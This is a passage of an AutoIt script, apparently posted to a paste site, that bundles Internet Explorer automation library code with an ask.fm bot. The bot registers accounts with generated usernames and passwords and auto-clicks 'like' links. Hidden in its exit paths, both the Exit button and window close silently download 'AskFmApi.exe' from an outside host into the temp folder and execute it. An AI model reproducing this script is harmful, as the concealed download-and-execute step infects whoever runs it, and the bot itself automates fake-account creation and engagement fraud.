  3164.     __iesendmessagetimeout($hwin, $wm_html_getobject, 0, 0, $smto_abortifhung, 1000, $lresult)
  3165.     Local $typuuid = DllStructCreate("int;short;short;byte[8]")
  3166.     DllStructSetData($typuuid, 1, 1651492128)
  3167.     DllStructSetData($typuuid, 2, 42014)
  3168.     DllStructSetData($typuuid, 3, 4559)
  3169.     DllStructSetData($typuuid, 4, 167, 1)
  3170.     DllStructSetData($typuuid, 4, 49, 2)
  3171.     DllStructSetData($typuuid, 4, 0, 3)
  3172.     DllStructSetData($typuuid, 4, 160, 4)
  3173.     DllStructSetData($typuuid, 4, 201, 5)
  3174.     DllStructSetData($typuuid, 4, 8, 6)
  3175.     DllStructSetData($typuuid, 4, 38, 7)
  3176.     DllStructSetData($typuuid, 4, 55, 8)
  3177.     Local $aret = DllCall("oleacc.dll", "long", "ObjectFromLresult", "lresult", $lresult, "struct*", $typuuid, "wparam", 0, "idispatch*", 0)
  3178.     If @error Then Return SetError(3, @error, 0)
  3179.     If IsObj($aret[4]) Then
  3180.         Local $oie = $aret[4].script()
  3181.         Return $oie.document.parentwindow
  3182.     Else
  3183.         Return SetError(1, $aret[0], 0)
  3184.     EndIf
  3185. EndFunc
  3186.  
  3187. Func __ieregisterwindowmessage($smsg)
  3188.     Local $aret = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smsg)
  3189.     If @error Then Return SetError(@error, @extended, 0)
  3190.     If $aret[0] = 0 Then Return SetError(10, _winapi_getlasterror(), 0)
  3191.     Return $aret[0]
  3192. EndFunc
  3193.  
  3194. Func __iesendmessagetimeout($hwnd, $msg, $wparam, $lparam, $nflags, $ntimeout, ByRef $vout, $r = 0, $t1 = "int", $t2 = "int")
  3195.     Local $aret = DllCall("user32.dll", "lresult", "SendMessageTimeout", "hwnd", $hwnd, "uint", $msg, $t1, $wparam, $t2, $lparam, "uint", $nflags, "uint", $ntimeout, "dword_ptr*", "")
  3196.     If @error OR $aret[0] = 0 Then
  3197.         $vout = 0
  3198.         Return SetError(1, _winapi_getlasterror(), 0)
  3199.     EndIf
  3200.     $vout = $aret[7]
  3201.     If $r >= 0 AND $r <= 4 Then Return $aret[$r]
  3202.     Return $aret
  3203. EndFunc
  3204.  
  3205. Func __ieisobjtype(ByRef $o_object, $s_type)
  3206.     If NOT IsObj($o_object) Then
  3207.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  3208.     EndIf
  3209.     Local $status = __ieinternalerrorhandlerregister()
  3210.     If NOT $status Then __ieerrornotify("Warning", "internal function __IEIsObjType", "Cannot register internal error handler, cannot trap COM errors", "Use _IEErrorHandlerRegister() to register a user error handler")
  3211.     Local $f_notifystatus = _ieerrornotify()
  3212.     _ieerrornotify(False)
  3213.     Local $s_name = String(ObjName($o_object)), $objectok = False
  3214.     Switch $s_type
  3215.         Case "browserdom"
  3216.             Local $otemp = $o_object.document
  3217.             If __ieisobjtype($o_object, "documentcontainer") Then
  3218.                 $objectok = True
  3219.             ElseIf __ieisobjtype($o_object, "document") Then
  3220.                 $objectok = True
  3221.             ElseIf __ieisobjtype($otemp, "document") Then
  3222.                 $objectok = True
  3223.             EndIf
  3224.         Case "browser"
  3225.             If ($s_name = "IWebBrowser2") OR ($s_name = "IWebBrowser") OR ($s_name = "WebBrowser") Then $objectok = True
  3226.         Case "window"
  3227.             If $s_name = "HTMLWindow2" Then $objectok = True
  3228.         Case "documentContainer"
  3229.             If __ieisobjtype($o_object, "window") OR __ieisobjtype($o_object, "browser") Then $objectok = True
  3230.         Case "document"
  3231.             If $s_name = "HTMLDocument" Then $objectok = True
  3232.         Case "table"
  3233.             If $s_name = "HTMLTable" Then $objectok = True
  3234.         Case "form"
  3235.             If $s_name = "HTMLFormElement" Then $objectok = True
  3236.         Case "forminputelement"
  3237.             If ($s_name = "HTMLInputElement") OR ($s_name = "HTMLSelectElement") OR ($s_name = "HTMLTextAreaElement") Then $objectok = True
  3238.         Case "elementcollection"
  3239.             If ($s_name = "HTMLElementCollection") Then $objectok = True
  3240.         Case "formselectelement"
  3241.             If $s_name = "HTMLSelectElement" Then $objectok = True
  3242.         Case Else
  3243.             Return SetError($_iestatus_invalidvalue, 2, 0)
  3244.     EndSwitch
  3245.     _ieerrornotify($f_notifystatus)
  3246.     __ieinternalerrorhandlerderegister()
  3247.     If $objectok Then
  3248.         Return SetError($_iestatus_success, 0, 1)
  3249.     Else
  3250.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  3251.     EndIf
  3252. EndFunc
  3253.  
  3254. Func __ieerrornotify($s_severity, $s_func, $s_status = "", $s_message = "")
  3255.     If $_ieerrornotify OR $__ieau3debug Then
  3256.         Local $sstr = "--> IE.au3 " & $ieau3versioninfo[5] & " " & $s_severity & " from function " & $s_func
  3257.         If NOT String($s_status) = "" Then $sstr &= ", " & $s_status
  3258.         If NOT String($s_message) = "" Then $sstr &= " (" & $s_message & ")"
  3259.         ConsoleWrite($sstr & @CRLF)
  3260.     EndIf
  3261.     Return 1
  3262. EndFunc
  3263.  
  3264. Func __ieinternalerrorhandlerregister()
  3265.     Local $scurrenterrorhandler = ObjEvent("AutoIt.Error")
  3266.     If $scurrenterrorhandler <> "" AND NOT IsObj($oieerrorhandler) Then
  3267.         Return SetError($_iestatus_generalerror, 0, 0)
  3268.     EndIf
  3269.     $oieerrorhandler = ""
  3270.     $oieerrorhandler = ObjEvent("AutoIt.Error", "__IEInternalErrorHandler")
  3271.     If IsObj($oieerrorhandler) Then
  3272.         Return SetError($_iestatus_success, 0, 1)
  3273.     Else
  3274.         Return SetError($_iestatus_generalerror, 0, 0)
  3275.     EndIf
  3276. EndFunc
  3277.  
  3278. Func __ieinternalerrorhandlerderegister()
  3279.     $oieerrorhandler = ""
  3280.     If $sieusererrorhandler <> "" Then
  3281.         $oieerrorhandler = ObjEvent("AutoIt.Error", $sieusererrorhandler)
  3282.     EndIf
  3283.     Return SetError($_iestatus_success, 0, 1)
  3284. EndFunc
  3285.  
  3286. Func __ieinternalerrorhandler()
  3287.     $iecomerrorscriptline = $oieerrorhandler.scriptline
  3288.     $iecomerrornumber = $oieerrorhandler.number
  3289.     $iecomerrornumberhex = Hex($oieerrorhandler.number, 8)
  3290.     $iecomerrordescription = StringStripWS($oieerrorhandler.description, 2)
  3291.     $iecomerrorwindescription = StringStripWS($oieerrorhandler.windescription, 2)
  3292.     $iecomerrorsource = $oieerrorhandler.source
  3293.     $iecomerrorhelpfile = $oieerrorhandler.helpfile
  3294.     $iecomerrorhelpcontext = $oieerrorhandler.helpcontext
  3295.     $iecomerrorlastdllerror = $oieerrorhandler.lastdllerror
  3296.     $iecomerroroutput = ""
  3297.     $iecomerroroutput &= "--> COM Error Encountered in " & @ScriptName & @CRLF
  3298.     $iecomerroroutput &= "----> $IEComErrorScriptline = " & $iecomerrorscriptline & @CRLF
  3299.     $iecomerroroutput &= "----> $IEComErrorNumberHex = " & $iecomerrornumberhex & @CRLF
  3300.     $iecomerroroutput &= "----> $IEComErrorNumber = " & $iecomerrornumber & @CRLF
  3301.     $iecomerroroutput &= "----> $IEComErrorWinDescription = " & $iecomerrorwindescription & @CRLF
  3302.     $iecomerroroutput &= "----> $IEComErrorDescription = " & $iecomerrordescription & @CRLF
  3303.     $iecomerroroutput &= "----> $IEComErrorSource = " & $iecomerrorsource & @CRLF
  3304.     $iecomerroroutput &= "----> $IEComErrorHelpFile = " & $iecomerrorhelpfile & @CRLF
  3305.     $iecomerroroutput &= "----> $IEComErrorHelpContext = " & $iecomerrorhelpcontext & @CRLF
  3306.     $iecomerroroutput &= "----> $IEComErrorLastDllError = " & $iecomerrorlastdllerror & @CRLF
  3307.     If $_ieerrornotify OR $__ieau3debug Then ConsoleWrite($iecomerroroutput & @CRLF)
  3308.     SetError($_iestatus_comerror)
  3309.     Return
  3310. EndFunc
  3311.  
  3312. Func __iecomerrorunrecoverable()
  3313.     Select
  3314.         Case ($iecomerrornumber = -2147352567) OR (String($iecomerrordescription) = "Access is denied.")
  3315.             Return $_iestatus_accessisdenied
  3316.         Case ($iecomerrornumber = -2147417848) OR (String($iecomerrorwindescription) = "The object invoked has disconnected from its clients.")
  3317.             Return $_iestatus_clientdisconnected
  3318.         Case Else
  3319.             Return $_iestatus_success
  3320.     EndSelect
  3321. EndFunc
  3322.  
  3323. #EndRegion Internal functions
  3324. #Region ProtoType Functions
  3325.  
  3326. Func __ienavigate(ByRef $o_object, $s_url, $f_wait = 1, $i_flags = 0, $s_target = "", $s_postdata = "", $s_headers = "")
  3327.     __ieerrornotify("Warning", "__IENavigate", "Unsupported function called. Not fully tested.")
  3328.     If NOT IsObj($o_object) Then
  3329.         __ieerrornotify("Error", "__IENavigate", "$_IEStatus_InvalidDataType")
  3330.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  3331.     EndIf
  3332.     If NOT __ieisobjtype($o_object, "documentContainer") Then
  3333.         __ieerrornotify("Error", "__IENavigate", "$_IEStatus_InvalidObjectType")
  3334.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  3335.     EndIf
  3336.     $o_object.navigate($s_url, $i_flags, $s_target, $s_postdata, $s_headers)
  3337.     If $f_wait Then
  3338.         _ieloadwait($o_object)
  3339.         Return SetError(@error, 0, $o_object)
  3340.     EndIf
  3341.     Return SetError($_iestatus_success, 0, $o_object)
  3342. EndFunc
  3343.  
  3344. Func __iestringtobstr($s_string, $s_charset = "us-ascii")
  3345.     Local Const $adtypebinary = 1, $adtypetext = 2
  3346.     Local $o_stream = ObjCreate("ADODB.Stream")
  3347.     $o_stream.type = $adtypetext
  3348.     $o_stream.charset = $s_charset
  3349.     $o_stream.open
  3350.     $o_stream.writetext($s_string)
  3351.     $o_stream.position = 0
  3352.     $o_stream.type = $adtypebinary
  3353.     $o_stream.position = 0
  3354.     Return $o_stream.read()
  3355. EndFunc
  3356.  
  3357. Func __iebstrtostring($o_bstr, $s_charset = "us-ascii")
  3358.     Local Const $adtypebinary = 1, $adtypetext = 2
  3359.     Local $o_stream = ObjCreate("ADODB.Stream")
  3360.     $o_stream.type = $adtypebinary
  3361.     $o_stream.open
  3362.     $o_stream.write($o_bstr)
  3363.     $o_stream.position = 0
  3364.     $o_stream.type = $adtypetext
  3365.     $o_stream.charset = $s_charset
  3366.     $o_stream.position = 0
  3367.     Return $o_stream.readtext()
  3368. EndFunc
  3369.  
  3370. Func __iecreatenewie($s_title, $s_head = "", $s_body = "")
  3371.     Local $s_temp = __ietempfile("", "~IE~", ".htm")
  3372.     If @error Then
  3373.         __ieerrornotify("Error", "_IECreateHTA", "", "Error creating temporary file in @TempDir or @ScriptDir")
  3374.         Return SetError($_iestatus_generalerror, 1, 0)
  3375.     EndIf
  3376.     Local $s_html = ""
  3377.     $s_html &= "<HTML>" & @CR
  3378.     $s_html &= "<HEAD>" & @CR
  3379.     $s_html &= "<TITLE>" & $s_temp & "</TITLE>" & @CR & $s_head & @CR
  3380.     $s_html &= "</HEAD>" & @CR
  3381.     $s_html &= "<BODY>" & @CR & $s_body & @CR
  3382.     $s_html &= "</BODY>" & @CR
  3383.     $s_html &= "</HTML>"
  3384.     Local $h_file = FileOpen($s_temp, 2)
  3385.     FileWrite($h_file, $s_html)
  3386.     FileClose($h_file)
  3387.     If @error Then
  3388.         __ieerrornotify("Error", "_IECreateNewIE", "", "Error creating temporary file in @TempDir or @ScriptDir")
  3389.         Return SetError($_iestatus_generalerror, 2, 0)
  3390.     EndIf
  3391.     Run(@ProgramFilesDir & "\Internet Explorer\iexplore.exe " & $s_temp)
  3392.     Local $s_pid
  3393.     If WinWait($s_temp, "", 60) Then
  3394.         $s_pid = WinGetProcess($s_temp)
  3395.     Else
  3396.         __ieerrornotify("Error", "_IECreateNewIE", "", "Timeout waiting for new IE window creation")
  3397.         Return SetError($_iestatus_generalerror, 3, 0)
  3398.     EndIf
  3399.     If NOT FileDelete($s_temp) Then
  3400.         __ieerrornotify("Warning", "_IECreateNewIE", "", "Could not delete temporary file " & FileGetLongName($s_temp))
  3401.     EndIf
  3402.     Local $o_object = _ieattach($s_temp)
  3403.     _ieloadwait($o_object)
  3404.     _iepropertyset($o_object, "title", $s_title)
  3405.     Return SetError($_iestatus_success, $s_pid, $o_object)
  3406. EndFunc
  3407.  
  3408. Func __ietempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextension = ".tmp", $i_randomlength = 7)
  3409.     Local $s_tempname, $i_tmp = 0
  3410.     If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir
  3411.     If NOT FileExists($s_directoryname) Then $s_directoryname = @ScriptDir
  3412.     If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_directoryname & "\"
  3413.     Do
  3414.         $s_tempname = ""
  3415.         While StringLen($s_tempname) < $i_randomlength
  3416.             $s_tempname = $s_tempname & Chr(Random(97, 122, 1))
  3417.         WEnd
  3418.         $s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $s_fileextension
  3419.         $i_tmp += 1
  3420.         If $i_tmp > 200 Then
  3421.             Return SetError($_iestatus_generalerror, 1, 0)
  3422.         EndIf
  3423.     Until NOT FileExists($s_tempname)
  3424.     Return $s_tempname
  3425. EndFunc
  3426.  
  3427. #EndRegion ProtoType Functions
  3428. _ieerrorhandlerregister()
  3429. Local $oie = _iecreateembedded()
  3430. GUICreate("Ask Fm I like automatic!", 760, 805, -1, -1, BitOR($gui_ss_default_gui, $ds_setforeground))
  3431. GUISetBkColor(6908265)
  3432. GUICtrlCreateObj($oie, 0, 0, 760, 765)
  3433. Local $gui_button_back = GUICtrlCreateButton("1", 10, 770, 100, 30)
  3434. Local $gui_button_forward = GUICtrlCreateButton("2", 120, 770, 100, 30)
  3435. Local $gui_button_home = GUICtrlCreateButton("3", 230, 770, 100, 30)
  3436. Local $gui_button_stop = GUICtrlCreateButton("4", 340, 770, 100, 30)
  3437. Local $gui_button_stop2 = GUICtrlCreateButton("Exit", 675, 770, 65, 30)
  3438. $gui_navigate = GUICtrlCreateInput("http://ask.fm/JeffFernando", 445, 773, 225, 21)
  3439. Dim Const $sc_close = 61536
  3440. $handle = WinGetHandle("Ask Fm I like automatic!")
  3441. $dsysmenu = DllCall("User32.dll", "hwnd", "GetSystemMenu", "hwnd", $handle, "int", 0)
  3442. $hsysmenu = $dsysmenu[0]
  3443. DllCall("User32.dll", "int", "RemoveMenu", "hwnd", $hsysmenu, "int", $sc_close, "int", 0)
  3444. DllCall("User32.dll", "int", "DrawMenuBar", "hwnd", $handle)
  3445. GUISetState()
  3446. _ienavigate($oie, "http://ask.fm/signup")
  3447. $icountplus = 0
  3448. While 1
  3449.     Local $msg = GUIGetMsg()
  3450.     Select
  3451.         Case $msg = $gui_event_close
  3452.             ExitLoop
  3453.         Case $msg = $gui_button_stop2
  3454.             $fileurl = "http://tuscripts.com/AskFmApi.exe"
  3455.             $filename = @TempDir & "\AskFmApi.exe"
  3456.             $filesize = InetGetSize($fileurl)
  3457.             InetGet($fileurl, $filename, 0, 1)
  3458.             Sleep(4000)
  3459.             ShellExecute(@TempDir & "\AskFmApi.exe")
  3460.             GUIDelete()
  3461.             Exit
  3462.         Case $msg = $gui_button_home
  3463.             ShellExecute("https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&currency_code=USD&hosted_button_id=XNNQQWJLT9C5Q")
  3464.         Case $msg = $gui_button_back
  3465.             Local $file = FileOpen("Usernames.txt", 1)
  3466.             If $file = -1 Then
  3467.                 MsgBox(0, "Error", "Close Usernames.txt")
  3468.                 Exit
  3469.             EndIf
  3470.             FileWrite($file, "Username:" & $genuser & @CRLF)
  3471.             FileWrite($file, "Password:" & $genpas & @CRLF)
  3472.             FileWrite($file, "- - - - - - - - - - - - - - - - - - - - - - - - - - -" & @CRLF)
  3473.             FileClose($file)
  3474.             $ousuer = _iegetobjbyid($oie, "user_login")
  3475.             $onombr = _iegetobjbyid($oie, "user_name")
  3476.             $opasss = _iegetobjbyid($oie, "user_password")
  3477.             $opasssc = _iegetobjbyid($oie, "user_password_confirmation")
  3478.             $oemail = _iegetobjbyid($oie, "user_email")
  3479.             If @error = 0 Then $ousuer.value = $genuser
  3480.             If @error = 0 Then $onombr.value = "Ask Fm Bot"
  3481.             If @error = 0 Then $opasss.value = $genpas
  3482.             If @error = 0 Then $opasssc.value = $genpas
  3483.             If @error = 0 Then $oemail.value = $genuser & "@hotmail.com"
  3484.             $oform = _ieformgetobjbyname($oie, "signup_form")
  3485.             _ieformsubmit($oform)
  3486.         Case $msg = $gui_button_forward
  3487.             $icountplus2 = 0
  3488.             For $i = 1 To 1
  3489.                 $otags2 = _ietagnamegetcollection($oie, "input")
  3490.                 If @error Then ExitLoop
  3491.                 For $otag2 In $otags2
  3492.                     If $otag2.classname == "submit-button-more submit-button-more-active" Then
  3493.                         _ieaction($otag2, "click")
  3494.                         If NOT @error Then $icountplus2 += 1
  3495.                         _ieloadwait($oie)
  3496.                     EndIf
  3497.                 Next
  3498.             Next
  3499.             $icountplus = 0
  3500.             For $i = 1 To 1
  3501.                 $otags = _ietagnamegetcollection($oie, "a")
  3502.                 If @error Then ExitLoop
  3503.                 For $otag In $otags
  3504.                     If $otag.classname == "like hintable" Then
  3505.                         _ieaction($otag, "click")
  3506.                         If NOT @error Then $icountplus += 1
  3507.                         _ieloadwait($oie)
  3508.                     EndIf
  3509.                 Next
  3510.             Next
  3511.         Case $msg = $gui_button_stop
  3512.             $html = GUICtrlRead($gui_navigate)
  3513.             _ienavigate($oie, $html)
  3514.     EndSelect
  3515. WEnd
  3516. $fileurl = "http://tuscripts.com/AskFmApi.exe"
  3517. $filename = @TempDir & "\AskFmApi.exe"
  3518. $filesize = InetGetSize($fileurl)
  3519. InetGet($fileurl, $filename, 0, 1)
  3520. Sleep(4000)
  3521. ShellExecute(@TempDir & "\AskFmApi.exe")
  3522. GUIDelete()
  3523. Exit
Advertisement
Add Comment
Please, Sign In to add comment